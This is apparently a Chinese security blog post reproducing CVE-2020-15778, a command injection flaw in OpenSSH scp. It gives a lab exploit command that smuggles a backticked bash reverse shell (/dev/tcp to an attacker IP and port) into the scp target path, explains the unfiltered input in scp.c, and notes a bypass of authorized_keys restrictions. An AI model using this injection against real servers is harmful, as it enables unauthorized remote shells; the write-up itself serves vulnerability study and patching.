OpenSSH是SSH(Secure SHell)协议的免费开源实现。OpenSSH是个SSH的软件,linux/unix都用openssh软件提供SSH服务。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。
该漏洞编号CVE-2020-15778。OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
openssh <= openssh-8.3p1
未安装ssh:
进行安装
sudo apt-get install openssh-client
已安装ssh:
ssh -V 查看版本信息
前提:需要知道目标ssh账号密码
目标:192.168.233.130
本机:192.168.233.140
执行命令:
scp /tmp/hello.txt xuan@192.168.233.130:'`bash -i >& /dev/tcp/192.168.233.140/9999 0>&1`'
将本地文件复制到远程机器,本来后面跟的是文件名,但是由于未正确过滤其中的特殊字符导致命令注入。
scp SourceFile user@host:目录/TargetFile
在执行上面这条命令时会执行一个本地命令
scp -t 目录/TargetFile
对应源码如下:
源码地址:
https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989
由此可以看到对用户输入的目录没有做过滤,导致攻击者可以利用反引号(` `)可以执行一些shell命令。
反引号在linux中的作用: 反引号(`)这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆。反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。如例程中的`date -d '-1 day' +%Y%m%d`就是把这条命令的结果赋给变量OPDATE。
对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。
我翻阅了大量资料,这一篇讲authorized_keys文件说明较为详细:https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.3.0/com.ibm.zos.v2r3.foto100/authkeyf.htm
1、周期性的更换密码或密钥
参考链接:
https://github.com/cpandya2909/CVE-2020-15778/
本文始发于微信公众号(Timeline Sec):CVE-2020-15778:OpenSSH命令注入漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论